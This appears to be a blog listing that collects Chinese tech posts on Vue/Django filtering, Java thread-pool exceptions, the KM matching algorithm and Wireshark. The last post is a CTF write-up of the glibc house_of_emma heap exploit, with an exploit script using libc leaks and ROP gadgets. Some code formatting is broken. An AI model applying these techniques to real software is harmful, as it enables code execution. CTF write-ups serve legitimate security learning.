分类 其它 下的文章

前端部分(Vue 3 + Element Plus)

1. 修改
MPS002HList.vue
(主生产计划列表)

a. 添加查询表单

在模板中添加查询表单,包含产品料号、品名、规格和年月的输入项。

<template>
  <div>
    <!-- 查询表单 -->
    <el-form :inline="true" :model="filters" class="demo-form-inline">
      <el-form-item label="产品料号">
        <el-input v-model="filters.bo_no" placeholder="请输入产品料号"></el-input>
      </el-form-item>
      <el-form-item label="品名">
        <el-input v-model="filters.item_name" placeholder="请输入品名"></el-input>
      </el-form-item>
      <el-form-item label="规格">
        <el-input v-model="filters.item_spec" placeholder="请输入规格"></el-input>
      </el-form-item>
      <el-form-item label="年月">
        <el-date-picker
v
-model="filters.mps_ym"type="month"placeholder="选择年月"format="yyyy-MM"value-format="yyyy-MM" /> </el-form-item> <el-form-item> <el-button type="primary" @click="fetchMpsList">查询</el-button> <el-button @click="resetFilters">重置</el-button> </el-form-item> </el-form> <!-- 生产计划列表 --> <el-table :data="mpsList" style="width: 100%" v-loading="loading"> <el-table-column prop="mps_no" label="单号" width="180"> <template #default="{ row }"> <el-button type="text" @click="showMpsDetails(row.mps_no)">{{ row.mps_no }}</el-button> </template> </el-table-column> <el-table-column prop="mps_date" label="单据时间" width="180" /> <el-table-column prop="fa_no_name" label="厂别" width="180" /> <el-table-column prop="bo_no" label="产品料号" width="180" /> <el-table-column prop="bo_no_name" label="品名" width="180" /> <el-table-column prop="bo_no_spec" label="规格" width="180" /> <el-table-column prop="mps_ym" label="年月" width="100" /> <el-table-column prop="mps_qty" label="数量" width="100" /> </el-table> <!-- 分页 --> <el-pagination
v
-if="mpsList.length"background
:current
-page="page":page-size="pageSize"layout="total, prev, pager, next":total="total"@current-change="handlePageChange" /> <!-- 详情对话框 --> <el-dialog :visible.sync="showDetails" width="80%"> <template #header> <h3>主生产计划详情</h3> </template> <MPS002HDetail :mps_no="selectedMpsNo" /> </el-dialog> </div> </template>

b. 修改脚本部分


setup
函数中,添加
filters
数据,并修改
fetchMpsList
函数以包含查询参数。

<script>import { ref, onMounted } from'vue';
import { getMPS002 } from
'@/api/mpsApp/MPS002HModel';
import MPS002HDetail from
'./MPS002HDetail.vue';

export
default{
components: { MPS002HDetail },
setup() {
const mpsList
=ref([]);
const page
= ref(1);
const pageSize
= ref(10);
const total
= ref(0);
const loading
= ref(false);
const showDetails
= ref(false);
const selectedMpsNo
= ref(null);

const filters
=ref({
bo_no:
'',
item_name:
'',
item_spec:
'',
mps_ym:
'',
});

const fetchMpsList
= async () =>{
loading.value
= true;try{
const params
={
page: page.value,
page_size: pageSize.value,
bo_no: filters.value.bo_no,
item_name: filters.value.item_name,
item_spec: filters.value.item_spec,
mps_ym: filters.value.mps_ym,
};
const response
=await getMPS002(params);
mpsList.value
=response.data.results;
total.value
=response.data.count;
}
catch(error) {
console.error(
'Error fetching MPS002 list:', error);
}
finally{
loading.value
= false;
}
};

const resetFilters
= () =>{
filters.value
={
bo_no:
'',
item_name:
'',
item_spec:
'',
mps_ym:
'',
};
fetchMpsList();
};

const showMpsDetails
= (mps_no) =>{
selectedMpsNo.value
=mps_no;
showDetails.value
= true;
};

const handlePageChange
= (newPage) =>{
page.value
=newPage;
fetchMpsList();
};

onMounted(fetchMpsList);
return{
mpsList,
page,
pageSize,
total,
loading,
showDetails,
selectedMpsNo,
filters,
fetchMpsList,
resetFilters,
showMpsDetails,
handlePageChange,
};
},
};
</script>

2. 修改
MPS002D1List.vue
(物料需求明细列表)

a. 添加查询表单

<template>
  <div>
    <!-- 查询表单 -->
    <el-form :inline="true" :model="filters" class="demo-form-inline">
      <el-form-item label="料号">
        <el-input v-model="filters.item_no" placeholder="请输入料号"></el-input>
      </el-form-item>
      <el-form-item label="品名">
        <el-input v-model="filters.item_name" placeholder="请输入品名"></el-input>
      </el-form-item>
      <el-form-item label="规格">
        <el-input v-model="filters.item_spec" placeholder="请输入规格"></el-input>
      </el-form-item>
      <el-form-item>
        <el-button type="primary" @click="fetchMpsD1List">查询</el-button>
        <el-button @click="resetFilters">重置</el-button>
      </el-form-item>
    </el-form>

    <!-- 物料需求明细列表 -->
    <el-table :data="mpsD1List" style="width: 100%" v-loading="loading">
      <el-table-column prop="item_no" label="料号" width="180" />
      <el-table-column prop="item_name" label="品名" width="180" />
      <el-table-column prop="item_spec" label="规格" width="180" />
      <el-table-column prop="item_qty" label="需求数量" width="180" />
      <!-- 添加更多列 -->
    </el-table>

    <!-- 分页 -->
    <el-pagination
v
-if="mpsD1List.length"background
:current
-page="page":page-size="pageSize"layout="total, prev, pager, next":total="total"@current-change="handlePageChange" /> </div> </template>

b. 修改脚本部分

<script>import { ref, onMounted } from'vue';
import { getMPS002D1 } from
'@/api/mpsApp/MPS002D1Model';

export
default{
setup() {
const mpsD1List
=ref([]);
const page
= ref(1);
const pageSize
= ref(10);
const total
= ref(0);
const loading
= ref(false);

const filters
=ref({
item_no:
'',
item_name:
'',
item_spec:
'',
});

const fetchMpsD1List
= async () =>{
loading.value
= true;try{
const params
={
page: page.value,
page_size: pageSize.value,
item_no: filters.value.item_no,
item_name: filters.value.item_name,
item_spec: filters.value.item_spec,
};
const response
=await getMPS002D1(params);
mpsD1List.value
=response.data.results;
total.value
=response.data.count;
}
catch(error) {
console.error(
'Error fetching MPS002D1 list:', error);
}
finally{
loading.value
= false;
}
};

const resetFilters
= () =>{
filters.value
={
item_no:
'',
item_name:
'',
item_spec:
'',
};
fetchMpsD1List();
};

const handlePageChange
= (newPage) =>{
page.value
=newPage;
fetchMpsD1List();
};

onMounted(fetchMpsD1List);
return{
mpsD1List,
page,
pageSize,
total,
loading,
filters,
fetchMpsD1List,
resetFilters,
handlePageChange,
};
},
};
</script>

后端部分(Django REST Framework)

为了支持前端的查询功能,需要在后端的视图中添加筛选功能。

1. 修改
MPS002HModel
的视图

from rest_framework import viewsets, filters
from django_filters.rest_framework import DjangoFilterBackend
from .models import MPS002HModel
from .serializers import MPS002HSerializer

class MPS002HViewSet(viewsets.ModelViewSet):
queryset
= MPS002HModel.objects.all().order_by('-mps_date')
serializer_class
=MPS002HSerializer
filter_backends
=[DjangoFilterBackend, filters.SearchFilter]
filterset_fields
= ['mps_ym']
search_fields
= ['bo_no__item_no', 'bo_no__item_name', 'bo_no__item_spec']

说明

  • filter_backends
    :使用
    DjangoFilterBackend

    SearchFilter
    ,可以实现精确过滤和模糊搜索。
  • filterset_fields
    :精确过滤的字段,这里包括
    mps_ym
  • search_fields
    :模糊搜索的字段,包括关联的
    bo_no
    (产品料号)的
    item_no

    item_name

    item_spec

2. 修改
MPS002D1Model
的视图

from rest_framework import viewsets, filters
from django_filters.rest_framework import DjangoFilterBackend
from .models import MPS002D1Model
from .serializers import MPS002D1Serializer

class MPS002D1ViewSet(viewsets.ModelViewSet):
queryset
=MPS002D1Model.objects.all()
serializer_class
=MPS002D1Serializer
filter_backends
=[DjangoFilterBackend, filters.SearchFilter]
search_fields
= ['item_no__item_no', 'item_no__item_name', 'item_no__item_spec']

说明

  • search_fields
    :对于物料需求明细,可以根据
    item_no
    (料号)、
    item_name
    (品名)、
    item_spec
    (规格)进行模糊搜索。

3. 安装和配置
django-filter

如果还没有安装
django-filter
,需要先安装:

pip install django-filter

并在
settings.py
中添加:

REST_FRAMEWORK ={'DEFAULT_FILTER_BACKENDS': ['django_filters.rest_framework.DjangoFilterBackend']
}

更新序列化器

确保您的序列化器包含必要的字段,以便前端能够正确接收数据。

MPS002HSerializer

from rest_framework import serializers
from .models import MPS002HModel

class MPS002HSerializer(serializers.ModelSerializer):
fa_no_name
= serializers.CharField(source='fa_no.fa_name', read_only=True)
bo_no_name
= serializers.CharField(source='bo_no.item_name', read_only=True)
bo_no_spec
= serializers.CharField(source='bo_no.item_spec', read_only=True)
bo_no
= serializers.CharField(source='bo_no.item_no', read_only=True)

class Meta:
model
=MPS002HModel
fields
= ['id', 'mps_no', 'mps_date', 'fa_no', 'fa_no_name', 'bo_no', 'bo_no_name', 'bo_no_spec', 'mps_ym', 'mps_qty']

MPS002D1Serializer

from rest_framework import serializers
from .models import MPS002D1Model

class MPS002D1Serializer(serializers.ModelSerializer):
item_name
= serializers.CharField(source='item_no.item_name', read_only=True)
item_spec
= serializers.CharField(source='item_no.item_spec', read_only=True)
item_no
= serializers.CharField(source='item_no.item_no', read_only=True)

class Meta:
model
=MPS002D1Model
fields
= ['id', 'mps_no', 'item_no', 'item_name', 'item_spec', 'item_qty', 'rmk']

更新 API 请求

1. 更新前端 API 调用

在您的 API 请求文件中,确保查询参数能够正确传递。

MPS002HModel
API

import request from '@/utils/request';
const baseUrl
= '/mpsApp/MPS002HModel/';

export
functiongetMPS002(params) {returnrequest({
url: baseUrl,
method:
'get',
params,
});
}

MPS002D1Model
API

import request from '@/utils/request';
const baseUrl
= '/mpsApp/MPS002D1Model/';

export
functiongetMPS002D1(params) {returnrequest({
url: baseUrl,
method:
'get',
params,
});
}


总结

通过上述步骤,我们实现了:

  • 前端
    :在
    MPS002HModel

    MPS002D1Model
    的列表页面中添加了查询表单,可以根据指定的字段进行筛选,并将查询条件传递给后端。

  • 后端
    :在 Django REST Framework 的视图中,使用
    django-filter

    SearchFilter
    实现了对指定字段的精确过滤和模糊搜索。

  • 序列化器
    :更新了序列化器,以便在返回数据时包含关联字段的信息,如品名和规格。

  • API 请求
    :确保查询参数能够正确地通过前端 API 请求发送到后端。

这样,用户就可以在前端界面上根据产品料号、品名、规格和年月对主生产计划列表进行查询,也可以在物料需求明细列表中根据料号、品名、规格进行筛选。

首先,这个问题考察的是你对线程池 execute 方法和 submit 方法的理解,在 Java 线程池的使用中,我们可以通过 execute 方法或 submit 方法给线程池添加任务,但如果线程池中的程序在执行时,遇到了未处理的异常会怎么呢?接下来我们一起来看。

1.execute方法

execute 方法用于提交一个不需要返回值的任务给线程池执行,它接收一个 Runnable 类型的参数,并且不返回任何结果。

它的使用示例代码如下:

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class ExecuteDemo {
    public static void main(String[] args) {
        ExecutorService executor = Executors.newFixedThreadPool(5);
        
        // 使用 execute 方法提交任务
        executor.execute(new Runnable() {
            @Override
            public void run() {
                System.out.println("Task running in " + Thread.currentThread().getName());
                try {
                    // 模拟任务执行
                    Thread.sleep(2000);
                } catch (InterruptedException e) {
                    Thread.currentThread().interrupt();
                    System.err.println("Task was interrupted");
                }
                System.out.println("Task finished");
            }
        });

        // 关闭线程池
        executor.shutdown();
    }
}

2.submit方法

submit 方法用于提交一个需要返回值的任务(Callable 对象),或者不需要返回值但希望获取任务状态的任务(Runnable 对象,但会返回一个 Future 对象)。

它接收一个 Callable 或 Runnable 类型的参数,并返回一个 Future 对象,通过该对象可以获取任务的执行结果或检查任务的状态。

2.1 提交Callable任务

示例代码如下:

import java.util.concurrent.Callable;  
import java.util.concurrent.ExecutionException;  
import java.util.concurrent.ExecutorService;  
import java.util.concurrent.Executors;  
import java.util.concurrent.Future;  
  
public class SubmitCallableDemo {  
    public static void main(String[] args) {  
        // 创建一个固定大小的线程池  
        ExecutorService executorService = Executors.newFixedThreadPool(2);  
  
        // 提交一个 Callable 任务给线程池执行  
        Future<String> future = executorService.submit(new Callable<String>() {  
            @Override  
            public String call() throws Exception {  
                Thread.sleep(2000); // 模拟任务执行时间  
                return "Task's execution result";  
            }  
        });  
  
        try {  
            // 获取任务的执行结果  
            String result = future.get();  
            System.out.println("Task result: " + result);  
        } catch (InterruptedException | ExecutionException e) {  
            e.printStackTrace();  
        }  
  
        // 关闭线程池  
        executorService.shutdown();  
    }  
}

2.2 提交Runnable任务

提交 Runnable 任务并获取 Future 对象,示例代码如下:

import java.util.concurrent.ExecutorService;  
import java.util.concurrent.Executors;  
import java.util.concurrent.Future;  
  
public class SubmitRunnableDemo {  
    public static void main(String[] args) {  
        // 创建一个固定大小的线程池  
        ExecutorService executorService = Executors.newFixedThreadPool(2);  
  
        // 提交一个 Runnable 任务给线程池执行,并获取一个 Future 对象  
        Future<?> future = executorService.submit(new Runnable() {  
            @Override  
            public void run() {  
                System.out.println("Task is running in thread: " + Thread.currentThread().getName());  
            }  
        });  
  
        // 检查任务是否完成(这里只是为了示例,实际使用中可能不需要这样做)  
        if (future.isDone()) {  
            System.out.println("Task is done");  
        } else {  
            System.out.println("Task is not done yet");  
        }  
  
        // 关闭线程池  
        executorService.shutdown();  
    }  
}

3.遇到未处理异常

线程池遇到未处理的异常执行行为和添加任务的方法有关,
也就是说 execute 方法和 submit 方法在遇到未处理的异常时执行行为是不一样的

3.1 execute方法遇到未处理异常

示例代码如下:

import java.util.concurrent.*;

public class ThreadPoolExecutorExceptionTest {
    public static void main(String[] args)  {
        ThreadPoolExecutor executor = new ThreadPoolExecutor(
                1,
                1,
                1000,
                TimeUnit.MILLISECONDS,
                new ArrayBlockingQueue<Runnable>(100));
        // 添加任务一
        executor.execute(() -> {
            String tName = Thread.currentThread().getName();
            System.out.println("线程名:" + tName);
            throw new RuntimeException("抛出异常");
        });
        // 添加任务二
        executor.execute(() -> {
            String tName = Thread.currentThread().getName();
            System.out.println("线程名:" + tName);
            throw new RuntimeException("抛出异常");
        });
    }
}

以上程序的执行结果如下:

从上述结果可以看出,线程池中的核心和最大线程数都为 1 的情况下,到遇到未处理的异常时,执行任务的线程却不一样,这说明了:
当使用 execute 方法时,如果遇到未处理的异常,会抛出未捕获的异常,并将当前线程进行销毁

3.2 submit方法遇到未处理异常

然而,当我们将线程池的添加任务方法换成 submit() 之后,执行结果又完全不同了,以下是示例代码:

import java.util.concurrent.*;

public class ThreadPoolExecutorExceptionTest {
    public static void main(String[] args)  {
        ThreadPoolExecutor executor = new ThreadPoolExecutor(
                1,
                1,
                1000,
                TimeUnit.MILLISECONDS,
                new ArrayBlockingQueue<Runnable>(100));
        // 添加任务一
       Future<?> future = executor.submit(() -> {
            String tName = Thread.currentThread().getName();
            System.out.println("线程名:" + tName);
            throw new RuntimeException("抛出异常");
        });
        // 添加任务二
        Future<?> future2 =executor.submit(() -> {
            String tName = Thread.currentThread().getName();
            System.out.println("线程名:" + tName);
            throw new RuntimeException("抛出异常");
        });
        try {
            future.get();
        } catch (Exception e) {
            System.out.println("遇到异常:"+e.getMessage());
        }
        try {
            future2.get();
        } catch (Exception e) {
            System.out.println("遇到异常:"+e.getMessage());
        }
    }
}

以上程序的执行结果如下:

从上述结果可以看出,submit 方法遇到未处理的异常时,并
将该异常封装在 Future 的 get 方法中,而不会直接影响执行任务的线程,这样线程就可以继续复用了

小结

线程池在遇到未处理的异常时,不同添加任务的方法的执行行为是不同的:

  • execute 方法
    :遇到未处理的异常,线程会崩溃,并打印异常信息。
  • submit 方法
    :遇到未处理的异常,线程本身不会受到影响(线程可以复用),只是将异常信息封装到返回的对象 Future 中。

课后思考

为什么遇到未处理的异常时,execute 方法中的线程会崩溃,而 submit 方法中的线程却可以复用?

本文已收录到我的面试小站
www.javacn.site
,其中包含的内容有:Redis、JVM、并发、并发、MySQL、Spring、Spring MVC、Spring Boot、Spring Cloud、MyBatis、设计模式、消息队列等模块。

问题

给定一个二分图,左部有
\(n\)
个点,右部有
\(m\)
个点,边
\((u_i, v_j)\)
的边权为
\(A_{i,j}\)
。求该二分图的最大权完美匹配。

转化

问题可以写成线性规划的形式,设
\(f_{i, j}\)
表示匹配中是否有边
\((u_i, v_j)\)
,求

\[\begin{gather*}
\text{maximize} \quad & \sum_{i=1}^n \sum_{j=1}^m f_{i, j} \times A_{i, j} \\
\text{subject to} \quad & \sum_{i=1}^n f_{i, j} = 1 \quad \forall j \in [1, m] \\
& \sum_{j=1}^m f_{i,j}=1\quad\forall i \in [1, n] \\
& f_{i,j} \ge 0 \quad\forall i, j
\end{gather*}
\]

转为对偶问题:

\[\begin{gather*}
\text{minimize} \quad & \sum_{i=1}^n hu_i + \sum_{j=1}^m hv_i \\
\text{subject to} \quad & hu_i + hv_i \ge A_{i,j} \quad\forall i, j
\end{gather*}
\]

在这个问题中,
\(hu\)

\(hv\)
又称作“顶标”。

分析

根据互补松弛定理,如果
\(f_{i,j}=1\)
,则有
\(hu_i+hv_j=A_{i,j}\)
。这给出了判定一组顶标是否最优的方式:

一组顶标
\(hu, hv\)
最优,当且仅当子图
\(H = \left\{(i, j) \mid hu_i + hv_j = A_{i,j}\right\}\)
存在完美匹配。

做法

首先给出一个满足
\(hu_i+hv_j \ge A_{i,j}\)
的顶标(不一定最优)(例如,令
\(hu_i = hv_j = +\infty\)
),并维护对应的匹配。然后尝试在不破坏条件的情况下修改顶标,使得匹配可以被增广。

具体而言,遍历
\(i\)

\(1\)

\(n\)
,每次尝试将
\(i\)
加入到匹配中(类似于求二分图最大匹配的匈牙利算法)。我们可以求出

\(i\)
为根

的交错树,如果已经存在增广路,那么直接增广便是,否则我们需要修改顶标来使交错树生长。设交错树中的左部点集为
\(S\)
,右部点集为
\(T\)
,那么必有
\(|S| = |T| + 1\)
(交错树的性质)。令
\(\Delta = \min\{hu_i + hv_j - A_{i,j} \mid i \in S \land j \notin T\}\)
,那么将
\(S\)
中的点顶标减去
\(\Delta\)
,将
\(T\)
中的点顶标加上
\(\Delta\)
,可以验证得到的新的顶标依然满足
\(hu_i+hv_j \ge A_{i,j}\)
的限制,且原图中的匹配一定包含于对应的新图
\(H'\)
中,此外,新图中至少增加了一条边,这使得我们的交错树可以继续生长,直到找到增广路为止。

代码(
洛谷 P6577

#define DEBUG 0
#include <cstdio>
#include <cassert>
#include <vector>
template <class T> using Arr = std::vector<T>;
#define int long long
const int INF = 1e8;

signed main() {
	int n, m;
	scanf("%lld%lld", &n, &m);
	struct edge_t {
		int v, w;
	};
	Arr<Arr<edge_t>> e(2 * n);
	for (int i = 0; i < m; ++i) {
		int l, r, w;
		scanf("%lld%lld%lld", &l, &r, &w);
		--l; r += n - 1;
		e[l].push_back({r, w});
		e[r].push_back({l, w});
	}

	Arr<int> match(2 * n, -1), h(2 * n, INF);
	for (int i = 0; i < n; ++i) {
		Arr<int> vis(2 * n, false);    // 是否在当前求出的交错树中,即 $S \cup T$ 
		Arr<int> upd(2 * n, n * INF);  // 最小的 Δ 值                             
		Arr<int> from(2 * n, -1);      // 维护增广路所用,即交错树上的父亲        
		int p = i;
		vis[p] = true;
		int d, dp;  // Δ 及其对应的 j
		while (true) {
			d = n * INF, dp = -1;

			// 求出 Δ
			for (auto [to, w] : e[p])
				if (!vis[to]) {
					int delta = h[p] + h[to] - w;
					if (delta < upd[to])
						upd[to] = delta, from[to] = p;
				}
			for (int j = n; j < 2 * n; ++j)
				if (!vis[j] && upd[j] < d && from[j] != -1)
					d = upd[j], dp = j;
			assert(~dp);


			// 修改顶标
			h[i] -= d;
			for (int j = n; j < 2 * n; ++j)
				if (vis[j])
					h[j] += d, h[match[j]] -= d;
				else
					upd[j] -= d;

			// 找到增广路
			if (match[dp] == -1)
				break;

			// 生长交错树
			vis[dp] = true;
			vis[match[dp]] = true;
			p = match[dp];
		}

		// 增广
		while (~dp) {
			match[dp] = from[dp];
			int tmp = match[from[dp]];
			match[from[dp]] = dp;
			dp = tmp;
		}
	}

	long long ans = 0;
	for (int i = 0; i < 2 * n; ++i)
		ans += h[i];
	printf("%lld\n", ans);
	for (int i = n; i < 2 * n; ++i)
		printf("%lld ", match[i] + 1);
	puts("");
	return 0;
}

参考资料

1.简介

在此之前,宏哥已经介绍和讲解过Wireshark的启动界面。但是很多初学者还会碰到一个难题,就是感觉wireshark抓包界面上也是同样的问题很多东西不懂怎么看。其实还是挺明了的宏哥今天就单独写一篇对其抓包界面进行详细地介绍和讲解一下。

2.Wireshak抓包界面概览

通过上一篇我们知道如何使Wireshark处于抓包状态,进行抓包。其界面显示如下图所示:

Wireshark网络封包分析软件 主要分为这几个界面:


Display Filter (显示过滤器):用于过滤。


Packet List Pane (封包列表):显示捕获到的封包, 有源地址和目标地址,端口号。 颜色不同代表抓取封包的协议不同。


Packet Details Pane (封包详细信息),:显示封包中的字段。


Dissector Pane (16进制数据)


Miscellanous (地址栏,杂项)

2.1显示过滤器

Display Filter(显示过滤器),  用于设置过滤条件进行数据包列表过滤。菜单路径:Analyze --> Display Filters。显示过滤器用于查找捕捉记录中的内容。请不要将捕捉过滤器和显示过滤器的概念相混淆。如下图所示:

2.2封包列表

Packet List Pane(数据包列表), 显示全部已经捕获到的数据包,每个数据包包含编号,时间戳,源地址,目标地址,协议,长度,以及数据包信息。 不同协议的数据包使用了不同的颜色区分显示。

2.3封包详细信息

Packet Details Pane(数据包详细信息), 在数据包列表中选择指定数据包,在数据包详细信息中会显示数据包的所有详细信息内容。数据包详细信息面板是最重要的,用来查看协议中的每一个字段。各行信息分别为

(1)Frame:   物理层的数据帧概况

(2)Ethernet II: 数据链路层以太网帧头部信息

(3)Internet Protocol Version 4: 互联网层IP包头部信息

(4)Transmission Control Protocol:  传输层T的数据段头部信息,此处是TCP

(5)Hypertext Transfer Protocol:  应用层的信息,此处是HTTP协议

由此可见,Wireshark 对 HTTP 协议数据包进行解析,显示了 HTTP 协议的层次结构。

2.3.1Frame

物理层数据帧概况。如下图所示:


2.3.2Ethernet II

数据链路层以太网帧头部信息。如下图所示:

2.3.3Internet Protocol Version 4

互联网层IP包头部信息。如下图所示:

IP包头。如下图所示:

2.3.4Transmission Control Protocol

传输层数据段头部信息,此处是TCP协议。如下图所示:

2.3.5Hypertext Transfer Protocol

应用层信息,此处是HTTP协议。

2.4 十六进制数据

Dissector Pane(数据包字节区)。

2.5状态栏

MISCELLANOUS(杂项),主要显示,包文件明,配置文件名,以及打开文件有多少个分组,当前显示了多少个分组(例如执行条件过滤后,只显示被过滤规则命中的分组)。

3.网络七层协议

3.1OSI

OSI是一个开放性的通信系统互连参考模型,它是一个定义得非常好的协议规范。OSI模型有7层结构,每层都可以有几个子层。 OSI的7层从上到下分别是 7 应用层 6 表示层 5 会话层 4 传输层 3 网络层 2 数据链路层 1 物理层 ;其中高层(即7、6、5、4层)定义了应用程序的功能,下面3层(即3、2、1层)主要面向通过网络的端到端,点到点的数据流。

3.2OSI和封包详细信息的对应

下面跟随宏哥一起来看一下,Wireshark抓包查看网络请求封包中的每一个字段所对应的OSI。 以 HTTP 协议数据包为例,了解该数据包的层次结构。在 Packet List 面板中找到一个 HTTP 协议数据包。如下图所示:

用户对数据包分析就是为了查看包的信息,展开每一层,可以查看对应的信息。例如,查看数据链路层信息,展开 Ethernet II 层,显示信息如下:

Ethernet II, Src: Tp-LinkT_46:70:ba (ec:17:2f:46:70:ba), Dst: Giga-Byt_17:cf:21 (50:e5:49:17:cf:21)
Destination: Giga-Byt_17:cf:21 (50:e5:49:17:cf:21) #目标MAC地址
Source: Tp-LinkT_46:70:ba (ec:17:2f:46:70:ba) #源MAC地址
Type: IPv4 (0x0800)

显示的信息包括了该数据包的发送者和接收者的 MAC 地址(物理地址)。

可以以类似的方法分析其他数据包的层次结构。

4.颜色区分Wireshark网络封包分析软件抓取到的不同网络协议

说明:
数据包列表区中不同的网络协议使用了不同的颜色区分

协议颜色标识定位在菜单栏 View -->  Coloring Rules 。(视图-->着色规则)如下图所示:

5.小结

好了,今天主要是关于Wireshark抓包界面详解。到此宏哥就将Wireshark抓包界面讲解和分享完了,是不是很简单了。今天时间也不早了,就到这里!感谢您耐心的阅读~~

house_of_emma

前言:

相比较于house_of_kiwi(
house_of_kiwi
),house_of_emma的手法更加***钻,而且威力更大,条件比较宽松,只需要lagebin_attack即可完成。

当然把两着放到一起是因为它们都利用了__malloc_assest来刷新IO流,不同的是,house_of_kiwi是通过修改调用函数的指针,还有修改rdx(_IO_heaper_jumps)的偏移达到目的的,条件需要两次任意地址写,相对来说比较苛刻,然后house_of_emma则是利用了vtable地址的合法性,在符合vtable的地方找到了一个函数_IO_cookie_read,这个函数存在_IO_cookie_jumps中,可以看一下。

pwndbg> p _IO_cookie_jumps
$1 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7bc53c683dc0 <_IO_new_file_finish>,
  __overflow = 0x7bc53c684790 <_IO_new_file_overflow>,
  __underflow = 0x7bc53c684480 <_IO_new_file_underflow>,
  __uflow = 0x7bc53c685560 <__GI__IO_default_uflow>,
  __pbackfail = 0x7bc53c686640 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7bc53c6839b0 <_IO_new_file_xsputn>,
  __xsgetn = 0x7bc53c685740 <__GI__IO_default_xsgetn>,
  __seekoff = 0x7bc53c678ae0 <_IO_cookie_seekoff>,
  __seekpos = 0x7bc53c685900 <_IO_default_seekpos>,
  __setbuf = 0x7bc53c6826d0 <_IO_new_file_setbuf>,
  __sync = 0x7bc53c682560 <_IO_new_file_sync>,
  __doallocate = 0x7bc53c677ef0 <__GI__IO_file_doallocate>,
  __read = 0x7bc53c6789c0 <_IO_cookie_read>,
  __write = 0x7bc53c6789f0 <_IO_cookie_write>,
  __seek = 0x7bc53c678a40 <_IO_cookie_seek>,
  __close = 0x7bc53c678aa0 <_IO_cookie_close>,
  __stat = 0x7bc53c6867a0 <_IO_default_stat>,
  __showmanyc = 0x7bc53c6867d0 <_IO_default_showmanyc>,
  __imbue = 0x7bc53c6867e0 <_IO_default_imbue>
}

可以看见它位于_IO_cookie_jumps+0x38+0x38的位置,至于为什么不写_IO_cookie_jumps+0x70,这样为了方便后面理解。

我们看看_IO_cookie_read都做了什么

  0x7bc53c6789c0 <_IO_cookie_read>       endbr64 
   0x7bc53c6789c4 <_IO_cookie_read+4>     mov    rax, qword ptr [rdi + 0xe8]
   0x7bc53c6789cb <_IO_cookie_read+11>    ror    rax, 0x11  
   0x7bc53c6789cf <_IO_cookie_read+15>    xor    rax, qword ptr fs:[0x30] #解密处理
   0x7bc53c6789d8 <_IO_cookie_read+24>    test   rax, rax
 ► 0x7bc53c6789db <_IO_cookie_read+27>    je     _IO_cookie_read+38                <_IO_cookie_read+38>
 
   0x7bc53c6789dd <_IO_cookie_read+29>    mov    rdi, qword ptr [rdi + 0xe0]
   0x7bc53c6789e4 <_IO_cookie_read+36>    jmp    rax  #call rax

可以看见call rax 也就是我们如果控制了rax那么就可以控制程序流,但是在此之前可以看见对rax进行了解密处理,将rax循环右移0x11,然后再和fs+0x30处的位置异或得到最后的rax

最后去查了一下,这个是glibc的
PointerEncryption
(自指针加密),是glibc保护指针的一种方式,glibc是这样解释的:指针加密是 glibc 的一项安全功能,旨在增加攻击者在 glibc 结构中操纵指针(尤其是函数指针)的难度。此功能也称为 “指针修饰” 或 “指针守卫”。

这个值存放在TLS段上,一般情况下我们泄露不了,但是我们可以通过largebin_attack把一个堆块地址写入这个地址,那么key就变成了堆块指针,所以我们只需要,进行相应的加密就可以控制rax达到任意地址。那么如果控制这个rax为system("/bin/sh")的地址,那么就可以跳转到此处执行shell。

然而还有一个问题,就是如果程序使用了沙箱禁用了execve,那么还是要进行迁移,需要用到setcontext,但是我们知道,这个函数再glibc2.29以后控制的寄存器从原来的rdi变成了rdx,也就是我们要控制rdx的值,但是当处于
_IO_cookie_read,会发现此时rdx的值为0,而rdi也就是我们伪造的fake_io堆块,那么需要一个gadget,既能将rdi  mov到rdx,又能继续接下来的程序流。

那么可以找到这样的一个gadget

这个gadget可以将rdi+8处地址给rdx,而且最后call rdx+0x20那么我们久可以继续控制程序流了。

怎么控制呢,如果把rdx+0x20的地方给setcontext+61的话,可以继续控制rdx+0xe0和rdx+0xe8的位置,那么就可以控制程序流进行orw

例题:
[湖湘杯 2021]house_of_emma

这个题目是一个vm的题目,需要输入opcode,来执行相应的效果。但是我们重心在house_of_emma上,但是这个opcode可以看看最后的exp,也不难理解,类似对你输入的指令进行8位分割

add函数申请堆块大小在0x40f到0x500之间

edit函数不能修改堆块之外的数据

问题出在free函数,存在uaf漏洞

show函数

分析:

本题libc给的是2.34的,那么__free_hook,malloc_hook等被移除了,当然因为存在UAF,而且还可以edit,那么泄露libc地址和heap地址会很容易,我们要伪造IO链,因为最后会使用stdder实现报错输出,所以我们可以劫持这个链子,将_lock给成合法地址,vtable给成
_IO_cookie_jumps+0x38,前面提到了这样是因为最后会call _IO_cookie_jumps+0x38再加上0x38的地址,就会到_IO_cookie_read,然后使用call rax的gadget布置rdx,然后call rdx+0x20 进入setcontxt + 61,然后就是orw了。

EXP:

from gt import *

con("amd64")

libc = ELF("./libc.so.6")
io = process("emma")


opcode = b""

def add(index,size):
    global opcode
    opcode += b'\x01'+p8(index)+p16(size)


def free(index):
    global opcode
    opcode += b'\x02'+p8(index)


def show(index):
    global opcode
    opcode += b'\x03'+p8(index)


def edit(index,msg):
    global opcode
    opcode += b'\x04' + p8(index) + p16(len(msg)) + msg



def run():
    global opcode
    opcode += b'\x05'
    io.sendafter("Pls input the opcode",opcode)
    opcode = b""

# 加密函数 循环左移
def rotate_left_64(x, n):
    # 确保移动的位数在0-63之间
    n = n % 64
    # 先左移n位
    left_shift = (x << n) & 0xffffffffffffffff
    # 然后右移64-n位,将左移时超出的位移动回来
    right_shift = (x >> (64 - n)) & 0xffffffffffffffff
    # 合并两部分
    return left_shift | right_shift


add(0,0x410)
add(1,0x410)
add(2,0x420)
add(3,0x410)
free(2)
add(4,0x430)
show(2)
run()
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done\n")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x1f30b0
suc("libc_base",libc_base)
pop_rdi_addr = libc_base + 0x000000000002daa2 #: pop rdi; ret; 
pop_rsi_addr = libc_base + 0x0000000000037c0a #: pop rsi; ret; 
pop_rdx_r12 = libc_base + 0x00000000001066e1 #: pop rdx; pop r12; ret;
pop_rax_addr = libc_base + 0x00000000000446c0 #: pop rax; ret;
syscall_addr = libc_base + 0x00000000000883b6 #: syscall; ret;
